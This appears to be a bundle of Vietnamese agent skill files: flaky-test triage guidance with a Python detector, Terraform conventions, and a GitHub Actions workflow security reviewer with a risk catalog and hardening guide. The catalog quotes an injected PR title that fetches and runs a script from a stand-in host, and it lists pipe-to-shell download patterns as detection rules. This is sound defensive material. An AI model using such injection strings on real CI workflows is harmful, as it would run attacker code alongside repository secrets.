| Tính ngẫu nhiên không có hạt giống (seed) | Hiếm khi trượt với dữ liệu kỳ lạ | Gắn hạt giống (seed) cho bộ sinh ngẫu nhiên và in giá trị hạt giống ra khi bài kiểm thử bị trượt |
| Lệnh gọi mạng và dịch vụ bên thứ ba | Lỗi quá thời gian chờ (timeout), lỗi 429, lỗi DNS | Giả lập (mock) hoặc ghi lại phản hồi; tách các lệnh gọi thực tế sang một bộ kiểm thử riêng không chặn luồng chính |
| Xử lý đồng thời và bất đồng bộ | Điều kiện tranh chấp (race conditions), promise chưa được await, luồng (thread) chưa được join | Await mọi tác vụ bất đồng bộ; sử dụng cơ chế đồng bộ hóa phù hợp; thêm các điểm móc (hook) tất định |
| Giới hạn tài nguyên | Hết bộ nhớ (OOM), cạn kiệt tệp mở (file handle), container chạy chậm | Giảm mức độ chạy song song; dọn dẹp tài nguyên; chủ động nâng giới hạn một cách có tính toán |
| Kiểm thử giao diện (UI) và trình duyệt | Không tìm thấy phần tử, thời gian chạy hiệu ứng chuyển động, khác biệt kích thước khung nhìn (viewport) | Sử dụng bộ chọn (selector) ổn định và bộ định vị tự động chờ; tắt hiệu ứng chuyển động trong chế độ kiểm thử |
| Số dấu phẩy động và thứ tự | Kiểm tra trực tiếp trên các tập hợp không có thứ tự hoặc số thực dấu phẩy động chính xác tuyệt đối | So sánh các giá trị đã được sắp xếp; sử dụng độ lệch sai số cho phép (tolerance) |
## Câu hỏi phân loại
1. Nó có bị trượt trên cùng một commit khi chạy lại không? (flaky_confirmed)
2. Nó bị trượt khi chạy một mình, hay chỉ khi chạy cùng các bài kiểm thử khác?
3. Việc bị trượt có tương quan với một máy chạy (agent) cụ thể, thời điểm trong ngày, hay luồng chạy song song nào không?
4. Thông báo lỗi có luôn giống hệt nhau không?
5. Trước đây cơ chế chạy lại (retries) có che giấu lỗi này không? Hãy kiểm tra nhật ký chạy lại.
FILE:references/junit-and-history-formats.md
# Cách lấy tệp JUnit XML và lịch sử chạy
## Xuất JUnit XML cho mỗi lần chạy
- pytest: `pytest --junitxml=reports/run-$N.xml`
- Jest: trình báo cáo `jest-junit` (`JEST_JUNIT_OUTPUT_FILE=reports/run-$N.xml`)
- Go: `go test -v ./... 2>&1 | go-junit-report > reports/run-$N.xml`
- JUnit / Maven Surefire: `target/surefire-reports/*.xml` (gộp lại cho mỗi lần chạy)
- RSpec: `rspec_junit_formatter`
- Playwright: `--reporter=junit`
Vòng lặp chạy lại trên một commit không thay đổi:
```
for N in $(seq 1 10); do pytest --junitxml=reports/run-$N.xml || true; done
python3 scripts/flaky_tests.py reports/run-*.xml
```
Truyền các tệp theo đúng thứ tự chạy (thứ tự khớp mẫu glob là ổn nếu tên tệp được sắp xếp đúng, ví dụ: run-01..run-10).
## Cách kịch bản đọc dữ liệu JUnit
- Mã định danh bài kiểm thử (Test id) = `classname::name`
- Thẻ con `<failure>` hoặc `<error>` = trượt (fail); `<skipped>` = bỏ qua (skip); các trường hợp còn lại = đạt (pass)
- Thuộc tính `time` = thời lượng chạy tính bằng giây
## Lịch sử dạng CSV
Các cột: `run_id,test,status` cùng các cột tùy chọn `commit,duration_s`. Các trạng thái được chấp nhận: pass/passed/ok/success, fail/failed/failure/error/broken, skip/skipped/ignored/pending. Các dòng phải được sắp xếp theo đúng thứ tự lần chạy.
Ý tưởng xuất dữ liệu: sử dụng API phân tích kiểm thử của hệ thống CI, một tác vụ nhỏ nối thêm một dòng cho mỗi bài kiểm thử sau mỗi lần chạy vào tệp lưu trữ CSV, hoặc truy vấn trực tiếp từ cơ sở dữ liệu lưu kết quả kiểm thử của bạn.
FILE:templates/flaky-report.md
# Báo Cáo Kiểm Thử Chập Chờn (Flaky Test)
**Bộ kiểm thử:** <name> **Số lần chạy đã phân tích:** <n> (<khoảng ngày hoặc các commit>) **Trình chạy:** <pytest / Jest / ...>
## Tóm tắt
- flaky_confirmed: <n> flaky: <n> always_failing: <n> stable: <n> insufficient_data: <n>
- Cơ chế chạy lại (retries) hiện đang bật: <có/không, số lần>
## Ưu tiên sửa trước
| Bài kiểm thử | Phân loại | Tỷ lệ lỗi | Tỷ lệ đảo chiều | Nguyên nhân có thể | Bằng chứng | Cách khắc phục đề xuất | Người phụ trách | Cách ly? |
|---|---|---|---|---|---|---|---|---|
| | | | | | | | | |
## Lỗi thực sự (không phải chập chờn)
| Bài kiểm thử | Lỗi từ khi nào | Thông báo lỗi (đã cắt gọn) | Người phụ trách |
|---|---|---|---|
## Danh sách cách ly (Quarantine)
| Bài kiểm thử | Ticket | Người phụ trách | Ngày hết hạn |
|---|---|---|---|
## Các bước tiếp theo
1.
2.
FILE:examples/test-history.csv
run_id,test,status,commit,duration_s
1,checkout::test_apply_coupon,pass,a1b2c3,0.42
1,checkout::test_payment_timeout,pass,a1b2c3,1.10
1,search::test_autocomplete,pass,a1b2c3,0.31
1,profile::test_avatar_upload,failed,a1b2c3,2.05
2,checkout::test_apply_coupon,pass,a1b2c3,0.40
2,checkout::test_payment_timeout,failed,a1b2c3,5.02
2,search::test_autocomplete,pass,a1b2c3,0.29
2,profile::test_avatar_upload,failed,a1b2c3,2.10
3,checkout::test_apply_coupon,pass,d4e5f6,0.44
3,checkout::test_payment_timeout,pass,d4e5f6,1.07
3,search::test_autocomplete,skipped,d4e5f6,
3,profile::test_avatar_upload,failed,d4e5f6,2.01
4,checkout::test_apply_coupon,pass,d4e5f6,0.41
4,checkout::test_payment_timeout,failed,d4e5f6,5.01
4,search::test_autocomplete,pass,d4e5f6,0.30
4,profile::test_avatar_upload,failed,d4e5f6,2.07
FILE:scripts/flaky_tests.py
#!/usr/bin/env python3
"""Detect flaky tests from repeated CI runs (Python 3 standard library only).
Inputs (any mix):
* JUnit XML files, one per run, in run order: flaky_tests.py run1.xml run2.xml run3.xml
* A CSV history file with columns run_id,test,status[,commit][,duration_s]: flaky_tests.py --csv history.csv
Statuses: pass, fail (failure or error), skip. Skips are ignored for flakiness math.
Classifications per test:
flaky_confirmed - passed AND failed on the same commit
flaky - passed AND failed across runs (commit unknown or different)
always_failing - failed in every non-skipped run (>= --min-runs)
stable - passed in every non-skipped run (>= --min-runs)
insufficient_data - fewer than --min-runs non-skipped results
Exit code: 1 if any flaky/flaky_confirmed test is found, else 0 (2 on input errors).
"""
import argparse
import csv
import json
import sys
import xml.etree.ElementTree as ET
from collections import OrderedDict
STATUS_ALIASES = {
"pass": "pass", "passed": "pass", "ok": "pass", "success": "pass",
"fail": "fail", "failed": "fail", "failure": "fail", "error": "fail", "broken": "fail",
"skip": "skip", "skipped": "skip", "ignored": "skip", "pending": "skip",
}
def norm_status(raw):
s = STATUS_ALIASES.get(str(raw).strip().lower())
if s is None:
raise ValueError(f"unknown status: {raw!r}")
return s
def parse_junit_text(text, run_id):
"""Return list of (run_id, test_id, status, commit, duration) from JUnit XML text."""
root = ET.fromstring(text)
rows = []
for case in root.iter("testcase"):
cls = case.get("classname") or ""
name = case.get("name") or "?"
test_id = f"{cls}::{name}" if cls else name
if case.find("failure") is not None or case.find("error") is not None:
status = "fail"
elif case.find("skipped") is not None:
status = "skip"
else:
status = "pass"
try:
dur = float(case.get("time", "") or 0.0)
except ValueError:
dur = 0.0
rows.append((run_id, test_id, status, None, dur))
return rows
def parse_csv_text(text):
rows = []
reader = csv.DictReader(text.splitlines())
need = {"run_id", "test", "status"}
if not reader.fieldnames or not need.issubset({f.strip() for f in reader.fieldnames}):
raise ValueError("CSV needs columns run_id,test,status (optional commit,duration_s)")
for r in reader:
r = {k.strip(): (v or "").strip() for k, v in r.items() if k}
dur = float(r["duration_s"]) if r.get("duration_s") else 0.0
rows.append((r["run_id"], r["test"], norm_status(r["status"]), r.get("commit") or None, dur))
return rows
def analyze(rows, min_runs=3):
"""rows in run order. Returns OrderedDict test_id -> stats dict."""
tests = OrderedDict()
for run_id, test_id, status, commit, dur in rows:
t = tests.setdefault(test_id, {"results": [], "durations": []})
t["results"].append((run_id, status, commit))
if status != "skip" and dur:
t["durations"].append(dur)
out = OrderedDict()
for test_id, t in tests.items():
seq = [s for _, s, _ in t["results"] if s != "skip"]
passes = seq.count("pass")
fails = seq.count("fail")
skips = sum(1 for _, s, _ in t["results"] if s == "skip")
flips = sum(1 for a, b in zip(seq, seq[1:]) if a != b)
by_commit = {}
for _, s, c in t["results"]:
if c and s != "skip":
by_commit.setdefault(c, set()).add(s)
mixed_commits = sorted(c for c, ss in by_commit.items() if ss == {"pass", "fail"})
n = len(seq)
if passes and fails:
cls = "flaky_confirmed" if mixed_commits else "flaky"
elif n < min_runs:
cls = "insufficient_data"
elif fails == n:
cls = "always_failing"
else:
cls = "stable"
durs = t["durations"]
out[test_id] = {
"runs": n,
"passes": passes,
"fails": fails,
"skips": skips,
"fail_rate": round(fails / n, 3) if n else 0.0,
"flips": flips,
"flip_rate": round(flips / (n - 1), 3) if n > 1 else 0.0,
"mixed_commits": mixed_commits,
"max_duration_s": round(max(durs), 3) if durs else None,
"duration_spread": round(max(durs) / min(durs), 2) if durs and min(durs) > 0 else None,
"classification": cls,
}
return out
def priority(stats):
"""Higher = fix first. Confirmed flakiness and high flip rates rank highest."""
base = {"flaky_confirmed": 3.0, "flaky": 2.0, "always_failing": 1.0}.get(stats["classification"], 0.0)
return round(base + stats["flip_rate"] + stats["fail_rate"], 3)
def render_table(results):
lines = ["| Test | Class | Runs | Fails | Fail rate | Flip rate | Same-commit mix | Priority |",
"|---|---|---|---|---|---|---|---|"]
ranked = sorted(results.items(), key=lambda kv: (-priority(kv[1]), kv[0]))
for tid, s in ranked:
lines.append(f"| {tid} | {s['classification']} | {s['runs']} | {s['fails']} | "
f"{s['fail_rate']:.0%} | {s['flip_rate']:.0%} | {', '.join(s['mixed_commits']) or '-'} | {priority(s)} |")
return "\n".join(lines)
def summary(results):
counts = {}
for s in results.values():
counts[s["classification"]] = counts.get(s["classification"], 0) + 1
return counts
JUNIT_RUN = """<testsuites><testsuite name="api">
<testcase classname="api.test_orders" name="test_create" time="0.12"/>
<testcase classname="api.test_orders" name="test_refund" time="{refund_time}">{refund}</testcase>
<testcase classname="api.test_auth" name="test_expired_token" time="0.05">{auth}</testcase>
<testcase classname="api.test_search" name="test_reindex" time="1.0"><skipped/></testcase>
</testsuite></testsuites>"""
def _run(refund_fail, auth_fail, refund_time="0.30"):
return JUNIT_RUN.format(
refund='<failure message="timeout"/>' if refund_fail else "",
auth='<error message="boom"/>' if auth_fail else "",
refund_time=refund_time)
def self_test():
rows = []
pattern = [(False, True), (True, True), (False, True), (True, True), (False, True)]
for i, (rf, af) in enumerate(pattern, 1):
rows += parse_junit_text(_run(rf, af, "0.30" if not rf else "3.10"), f"run{i}")
res = analyze(rows, min_runs=3)
csv_text = ("run_id,test,status,commit,duration_s\n"
"1,ui::login,pass,abc,1.0\n2,ui::login,failed,abc,1.2\n3,ui::login,pass,def,0.9\n"
"1,ui::cart,pass,abc,\n2,ui::cart,pass,abc,\n"
"1,ui::banner,skipped,abc,\n2,ui::banner,ok,abc,\n3,ui::banner,ok,def,\n4,ui::banner,ok,def,\n")
res_csv = analyze(parse_csv_text(csv_text), min_runs=3)
bad_status = False
try:
norm_status("weird")
except ValueError:
bad_status = True
bad_csv = False
try:
parse_csv_text("a,b\n1,2\n")
except ValueError:
bad_csv = True
cases = [
("junit_case_count", len(res), 4),
("create_stable", res["api.test_orders::test_create"]["classification"], "stable"),
("refund_flaky", res["api.test_orders::test_refund"]["classification"], "flaky"),
("refund_flips", res["api.test_orders::test_refund"]["flips"], 4),
("refund_flip_rate", res["api.test_orders::test_refund"]["flip_rate"], 1.0),
("refund_fail_rate", res["api.test_orders::test_refund"]["fail_rate"], 0.4),
("refund_duration_spread", res["api.test_orders::test_refund"]["duration_spread"], 10.33),
("error_counts_as_fail", res["api.test_auth::test_expired_token"]["classification"], "always_failing"),
("skip_only_insufficient", res["api.test_search::test_reindex"]["classification"], "insufficient_data"),
("skip_counted", res["api.test_search::test_reindex"]["skips"], 5),
("csv_same_commit_confirmed", res_csv["ui::login"]["classification"], "flaky_confirmed"),
("csv_mixed_commit_listed", res_csv["ui::login"]["mixed_commits"], ["abc"]),
("csv_two_runs_insufficient", res_csv["ui::cart"]["classification"], "insufficient_data"),
("csv_skip_ignored_stable", res_csv["ui::banner"]["classification"], "stable"),
("priority_order", priority(res_csv["ui::login"]) > priority(res["api.test_orders::test_refund"]), True),
("unknown_status_rejected", bad_status, True),
("bad_csv_rejected", bad_csv, True),
("summary_counts", summary(res), {"stable": 1, "flaky": 1, "always_failing": 1, "insufficient_data": 1}),
]
failed = 0
for name, got, expected in cases:
ok = abs(got - expected) < 0.01 if isinstance(expected, float) else got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Detect flaky tests from repeated JUnit XML runs or a CSV history.")
p.add_argument("junit", nargs="*", help="JUnit XML files in run order")
p.add_argument("--csv", help="CSV history: run_id,test,status[,commit][,duration_s]")
p.add_argument("--min-runs", type=int, default=3)
p.add_argument("--json", action="store_true", help="print JSON instead of a markdown table")
p.add_argument("--only-flaky", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
try:
for i, path in enumerate(a.junit, 1):
with open(path, encoding="utf-8") as fh:
rows += parse_junit_text(fh.read(), f"run{i}:{path}")
if a.csv:
with open(a.csv, encoding="utf-8") as fh:
rows += parse_csv_text(fh.read())
except (OSError, ValueError, ET.ParseError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if not rows:
p.error("give JUnit XML files, --csv, or --self-test")
res = analyze(rows, a.min_runs)
if a.only_flaky:
res = OrderedDict((k, v) for k, v in res.items() if v["classification"].startswith("flaky"))
if a.json:
print(json.dumps({"summary": summary(res), "tests": res}, indent=2))
else:
print(render_table(res))
print("\nSummary:", ", ".join(f"{k}={v}" for k, v in sorted(summary(res).items())))
return 1 if any(v["classification"].startswith("flaky") for v in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())Các quy ước mang tính định hướng rõ ràng để viết, đánh giá và áp dụng cơ sở hạ tầng dưới dạng mã (IaC) bằng Terraform một cách an toàn.
# Phong cách (taste) Terraform của một kỹ sư nền tảng đám mây - Ghim cố định (pin) phiên bản Terraform và mọi phiên bản provider, đồng thời commit tệp .terraform.lock.hcl. Độ tin cậy: 0.95 - Lưu trữ trạng thái (state) từ xa có bật cơ chế khóa (locking), ví dụ như dùng S3 kết hợp với DynamoDB hoặc Terraform Cloud. Độ tin cậy: 0.95 - Tách biệt trạng thái theo từng môi trường và từng hệ thống để một lệnh apply không bao giờ tác động đến toàn bộ mọi thứ. Độ tin cậy: 0.90 - Sử dụng các thư mục riêng biệt cho từng môi trường thay vì dùng Terraform workspaces cho môi trường prod và staging. Độ tin cậy: 0.75 - Giữ cho các module nhỏ gọn và chỉ tập trung vào một mối quan tâm duy nhất, chẳng hạn như mạng (network) hoặc cơ sở dữ liệu (database). Độ tin cậy: 0.85 - Ghim cố định nguồn module vào một thẻ (tag) hoặc phiên bản cụ thể, không bao giờ trỏ vào một nhánh (branch) đang thay đổi. Độ tin cậy: 0.90 - Cung cấp kiểu dữ liệu (type) và mô tả (description) cho mọi biến, đồng thời thêm các khối xác thực (validation blocks) cho các đầu vào có rủi ro. Độ tin cậy: 0.85 - Chỉ xuất (expose) những đầu ra (outputs) mà các stack khác thực sự sử dụng. Độ tin cậy: 0.70 - Đặt tên tài nguyên theo kiểu snake_case và tránh lặp lại loại tài nguyên trong tên. Độ tin cậy: 0.75 - Áp dụng bộ thẻ (tag) dùng chung (owner, environment, cost center) thông qua cấu hình default_tags của provider. Độ tin cậy: 0.85 - Ưu tiên dùng for_each hơn count để việc thêm hoặc xóa một mục không làm xáo trộn địa chỉ tài nguyên. Độ tin cậy: 0.90 - Sử dụng các khối moved khi tái cấu trúc mã (refactor) thay vì chạy lệnh terraform state mv thủ công. Độ tin cậy: 0.85 - Đưa các tài nguyên hiện có vào quản lý bằng các khối import được đánh giá (review) thông qua pull request. Độ tin cậy: 0.80 - Chạy terraform fmt, validate và tflint trong hệ thống CI trên mọi pull request. Độ tin cậy: 0.90 - Đăng kết quả đầu ra của lệnh terraform plan dưới dạng bình luận trong pull request để thuận tiện cho việc đánh giá. Độ tin cậy: 0.85 - Chỉ chạy lệnh apply từ hệ thống CI bằng tệp plan đã được duyệt, không bao giờ chạy trực tiếp từ máy tính cá nhân. Độ tin cậy: 0.85 - Xác thực hệ thống CI với đám mây bằng OIDC thay vì sử dụng các khóa truy cập (access keys) tồn tại lâu dài. Độ tin cậy: 0.90 - Không bao giờ đặt thông tin bí mật (secrets) trong tệp tfvars; hãy đọc chúng từ trình quản lý bí mật (secrets manager) tại thời điểm apply. Độ tin cậy: 0.90 - Sử dụng prevent_destroy trên các tài nguyên lưu trữ trạng thái (stateful) như cơ sở dữ liệu và bucket. Độ tin cậy: 0.80 - Quét cấu hình bằng công cụ kiểm tra chính sách như checkov hoặc tfsec trước khi gộp mã (merge). Độ tin cậy: 0.75 - Tránh sử dụng provisioners và local-exec; hãy chuyển giao việc cấu hình cho các image hoặc công cụ quản lý cấu hình chuyên dụng. Độ tin cậy: 0.80 - Chạy lệnh plan theo lịch trình định kỳ để phát hiện sai lệch cấu hình (drift) và cảnh báo khi kết quả không trống. Độ tin cậy: 0.75 - Sử dụng data sources để tra cứu thông tin và tránh gán cứng (hardcode) các ID hoặc ARN. Độ tin cậy: 0.80
Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
--- name: github-actions-workflow-security-reviewer description: Đánh giá các tệp YAML luồng công việc của GitHub Actions nhằm phát hiện rủi ro chuỗi cung ứng và chèn mã (injection): sử dụng pull_request_target kèm checkout mã nguồn PR, văn bản github.event không đáng tin cậy trong các bước run, các action được ghim theo tag hoặc nhánh thay vì mã băm commit SHA, thiếu cấu hình quyền hoặc cấp quyền write-all, lộ bí mật (secrets) trong các lệnh shell, lệnh dạng curl | bash, sử dụng self-hosted runner cho PR, và thiếu cấu hình thời gian chờ tối đa (timeout). Sử dụng trước khi gộp (merge) các thay đổi CI hoặc khi kiểm toán kho mã nguồn. Bao gồm một công cụ kiểm tra (linter) bằng Python dùng thư viện chuẩn với tùy chọn --self-test. --- # Trình Đánh Giá Bảo Mật Luồng Công Việc GitHub Actions Bạn giúp những người bảo trì dự án tìm và khắc phục các lỗ hổng bảo mật trong `.github/workflows/*.yml` trước khi kẻ tấn công kịp khai thác. Bạn đọc từng luồng công việc (workflow) dưới góc nhìn của một bản fork độc hại, một người tạo issue, hoặc một action bên thứ ba đã bị xâm phạm; chỉ ra chính xác dòng có rủi ro, giải thích ngắn gọn trong một hoặc hai câu về cách thức nó có thể bị lạm dụng, và đưa ra bản vá tối thiểu giúp luồng công việc vẫn hoạt động bình thường. ## Các tệp trong kỹ năng này - `scripts/gha_audit.py` - công cụ kiểm tra (linter) theo từng dòng cho các tệp luồng công việc: sự kiện kích hoạt (triggers), quyền hạn (permissions), cách ghim phiên bản trong `uses:`, lỗi chèn kịch bản (script injection) trong `run:` và `github-script`, lộ secrets trong câu lệnh, tải kịch bản từ xa truyền thẳng vào shell, self-hosted runners, cấu hình thời gian chờ tối đa (chỉ sử dụng thư viện chuẩn của Python 3, không cần thư viện YAML) - `references/risk-catalog.md` - danh mục mọi mã quy tắc kèm mức độ nghiêm trọng, lý do tại sao nó quan trọng và cách khắc phục - `references/hardening-guide.md` - các mẫu cấu hình an toàn: truyền gián tiếp qua biến môi trường (env indirection), phân quyền tối thiểu, ghim SHA kết hợp Dependabot, tách biệt luồng công việc có đặc quyền và không có đặc quyền - `templates/workflow-security-review.md` - mẫu bình luận đánh giá hoặc báo cáo kiểm toán - `examples/pr-labeler.yml` - một luồng công việc cố tình được viết không an toàn và các phát hiện dự kiến tương ứng ## Quy trình làm việc ### 1. Thu thập các luồng công việc Yêu cầu cung cấp các tệp luồng công việc (hoặc đường dẫn kho mã nguồn) và bối cảnh: kho công khai hay riêng tư, các bản fork có được phép mở pull request hay không, có những biến bí mật (secrets) và môi trường (environments) nào, và có sử dụng self-hosted runner hay không. Các luồng công việc được kích hoạt bởi `pull_request_target`, `issue_comment`, `issues`, `workflow_run` hoặc `discussion` cần được soi kỹ nhất vì chúng chạy cùng với secrets của kho mã nguồn trên các sự kiện mà người ngoài có thể tự tạo ra. ### 2. Chạy công cụ kiểm tra (linter) ``` python3 scripts/gha_audit.py .github/workflows/*.yml python3 scripts/gha_audit.py examples/pr-labeler.yml --json python3 scripts/gha_audit.py ci.yml --strict python3 scripts/gha_audit.py --self-test ``` Mã thoát (exit code) bằng 1 có nghĩa là có ít nhất một phát hiện mức độ cao (`--strict`: bất kỳ phát hiện nào); bằng 2 có nghĩa là không thể đọc được tệp. Công cụ kiểm tra này không cần PyYAML; nó hiểu được các bố cục luồng công việc phổ biến nhưng có thể bỏ sót các cú pháp YAML đặc biệt (anchors, flow mappings). Bạn cũng hãy tự đọc trực tiếp tệp đó. ### 3. Xác nhận từng phát hiện Đối với mỗi phát hiện, hãy kiểm tra bối cảnh mà kịch bản không thể nhìn thấy: biểu thức đó có thực sự nằm dưới sự kiểm soát của kẻ tấn công hay không, job đó có giữ secrets hay token có quyền ghi hay không, action đó có đến từ một nhà phát hành đáng tin cậy hay không? Hãy hạ mức độ hoặc bỏ qua kèm theo lý do rõ ràng; tuyệt đối không âm thầm lược bỏ một phát hiện mức độ cao. ### 4. Đề xuất cách khắc phục Sử dụng `references/risk-catalog.md` để tra cứu từng mã quy tắc và `references/hardening-guide.md` để lấy các mẫu cấu hình an toàn. Ưu tiên các thay đổi (diff) nhỏ gọn, dễ duyệt: chuyển `{}` vào trong `env:` và đặt biến shell trong dấu ngoặc kép, thêm `permissions: contents: read` ở cấp cao nhất, ghim `uses:` vào mã băm commit SHA đầy đủ kèm tên tag trong chú thích, đồng thời thêm `persist-credentials: false` và `timeout-minutes`. ### 5. Báo cáo Điền vào `templates/workflow-security-review.md`: các tệp đã đánh giá, các phát hiện phân theo mức độ nghiêm trọng kèm số dòng, kịch bản tấn công cho từng phát hiện mức độ cao, bản vá lỗi, và các việc cần làm tiếp theo (bật Dependabot cho actions, bảo vệ nhánh, người phê duyệt môi trường). ## Quy tắc - Luôn coi tiêu đề, nội dung, tên nhánh, thông điệp commit và bình luận từ PR cũng như issue là dữ liệu đầu vào do kẻ tấn công kiểm soát. - Không bao giờ hỏi hoặc in ra giá trị của các biến bí mật (secrets); chỉ nhắc đến chúng bằng tên biến. - Không viết mã khai thác thử nghiệm (proof-of-concept exploits) nhắm vào các kho mã nguồn không thuộc quyền sở hữu của người dùng; thay vào đó chỉ mô tả rủi ro. - Kết quả chạy linter sạch lỗi không phải là sự đảm bảo tuyệt đối. Hãy nêu rõ những gì chưa được kiểm tra (các luồng công việc tái sử dụng, composite actions, cài đặt cấp kho mã nguồn). FILE:references/risk-catalog.md # Danh Mục Rủi Ro (các mã quy tắc được sử dụng bởi gha_audit.py) | ID | Mức độ nghiêm trọng | Nội dung phát hiện | Tại sao điều này quan trọng | Cách khắc phục | |---|---|---|---|---| | GHA001 | high | Luồng công việc `pull_request_target` (hoặc `workflow_run`) thực hiện checkout nhánh head của PR (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Mã nguồn từ một bản fork được chạy cùng với secrets của kho và một token có quyền ghi ("pwn request") | Sử dụng `pull_request` để build mã nguồn không đáng tin cậy; chỉ giữ `pull_request_target` cho việc gắn nhãn/bình luận mà không checkout mã nguồn PR | | GHA002 | high | Biểu thức `{}` không đáng tin cậy nằm bên trong `run:` hoặc `script:` của `github-script` (tiêu đề hoặc nội dung issue/PR, nội dung bình luận, head ref, thông điệp commit, tên/email tác giả, tên trang) | Văn bản được dán trực tiếp vào kịch bản trước khi thực thi, do đó một tiêu đề như `"; curl evil.sh | sh #` sẽ bị chạy thành lệnh | Truyền giá trị qua `env:` và sử dụng `"$TITLE"` trong shell | | GHA003 | medium (low đối với `actions/*`, `github/*`) | `uses: owner/repo@v4` được ghim vào một tag | Các tag có thể bị trỏ sang commit khác; một action bị xâm phạm sẽ đưa mã độc vào quá trình build của bạn | Ghim vào mã băm commit SHA đủ 40 ký tự, giữ lại tên tag trong phần chú thích, để Dependabot tự động cập nhật | | GHA004 | high | `uses:` trỏ tới một nhánh (`@main`, `@master`) hoặc không có ref | Mỗi lần chạy sẽ kéo bất kỳ mã nào đang nằm trên nhánh đó vào thời điểm hiện tại | Ghim vào một mã băm commit SHA | | GHA005 | medium | Không khai báo `permissions:` ở cấp luồng công việc và cũng không khai báo trên tất cả các job | Biến `GITHUB_TOKEN` sẽ nhận quyền mặc định của kho mã nguồn, thường là quyền đọc/ghi trên mọi phạm vi | Thêm `permissions: contents: read` ở đầu tệp và chỉ cấp thêm quyền theo từng job cụ thể | | GHA006 | high | `permissions: write-all` | Mọi phạm vi quyền đều có thể bị ghi bởi bất kỳ bước nào | Chỉ liệt kê đúng những phạm vi quyền thực sự cần thiết | | GHA007 | high / medium | `{ secrets.X}` nằm trực tiếp bên trong lệnh `run:` (mức high khi được echo hoặc in ra) | Giá trị bí mật bị lưu lại trong lịch sử shell, danh sách tiến trình, nhật ký (logs), hoặc văn bản bị chèn | Ánh xạ biến bí mật vào `env:` và đọc qua `$X`; tuyệt đối không echo giá trị này | | GHA008 | medium | `curl ... \| bash` hoặc `wget ... \| sh` | Thực thi mã từ xa chưa được xác minh cùng với token và secrets của job | Tải xuống, kiểm tra mã băm (checksum) hoặc chữ ký số, sau đó mới chạy; hoặc sử dụng một action đã được ghim cứng | | GHA009 | medium | Sử dụng `self-hosted` runner trong một luồng công việc được kích hoạt bởi `pull_request` hoặc `pull_request_target` | Mã nguồn từ bản fork có thể bám trụ lại trên máy chủ và tấn công các job chạy sau đó | Sử dụng runner do GitHub lưu trữ hoặc runner dùng một lần (ephemeral) cho PR; yêu cầu phê duyệt đối với người đóng góp bên ngoài | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Kích hoạt lại các lệnh `set-env`/`add-path` đã bị loại bỏ, vốn có thể bị kích hoạt thông qua kết quả in ra log | Xóa cấu hình này; ghi trực tiếp vào `$GITHUB_ENV` và `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` không có `persist-credentials: false` | Token vẫn lưu lại trong `.git/config` ở mọi bước tiếp theo và trong bất kỳ artifact nào được tải lên | Thêm `persist-credentials: false` trừ khi có bước phía sau cần thực hiện lệnh push | | GHA012 | low | Job không có cấu hình `timeout-minutes` | Một job bị treo hoặc bị lạm dụng có thể chạy suốt 6 giờ làm tiêu tốn số phút miễn phí/trả phí của bạn | Thêm thời gian chờ tối đa hợp lý (ví dụ: 15-30) | | GHA013 | low | `docker://image:tag` không có mã băm `@sha256:` | Các tag của image có thể bị ghi đè | Ghim cố định dạng `docker://image@sha256:<digest>` | | GHA014 | medium | Luồng công việc `workflow_run` sử dụng `actions/download-artifact` | Các artifact sinh ra từ lần chạy do bản fork kích hoạt đều nằm dưới sự kiểm soát của kẻ tấn công | Coi nội dung artifact là dữ liệu thuần túy: kiểm tra tính hợp lệ, tuyệt đối không thực thi; tránh giải nén trực tiếp vào thư mục làm việc | ## Hướng dẫn phân loại mức độ nghiêm trọng - **high**: người bên ngoài nhiều khả năng có thể chạy mã tùy ý cùng với secrets hoặc token có quyền ghi, hoặc một tham chiếu có thể thay đổi đang kiểm soát quá trình build. - **medium**: lỗ hổng trong việc gia cố bảo mật khiến cho việc xâm phạm trở nên dễ dàng hơn hoặc gây hậu quả lớn hơn. - **low**: thực hành tốt nên áp dụng; hãy sửa khi có dịp chỉnh sửa tệp đó. FILE:references/hardening-guide.md # Hướng Dẫn Gia Cố Bảo Mật (Hardening Guide) ## 1. Truyền văn bản không đáng tin cậy thông qua biến môi trường (env), không dùng biểu thức trực tiếp ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Luôn đặt biến trong dấu ngoặc kép. Trong `actions/github-script`, hãy đọc `context.payload.pull_request.title` trực tiếp trong JavaScript thay vì nội suy `{}` vào trong kịch bản. ## 2. Token theo nguyên tắc đặc quyền tối thiểu ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Đồng thời hãy đặt quyền mặc định của kho mã nguồn thành chỉ đọc (Settings > Actions > General > Workflow permissions). ## 3. Ghim các action vào mã băm commit SHA ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Bật Dependabot cho hệ sinh thái `github-actions` để các mã băm đã ghim nhận được các PR cập nhật kèm theo nhật ký thay đổi (changelog). Ưu tiên sử dụng các action từ những nhà phát hành đã được xác minh và đọc kỹ mã nguồn của các action nhỏ từ bên thứ ba trước khi đưa vào sử dụng. ## 4. Tách biệt công việc có đặc quyền và không có đặc quyền - Luồng công việc `pull_request`: thực hiện build và kiểm thử mã nguồn từ bản fork mà không có 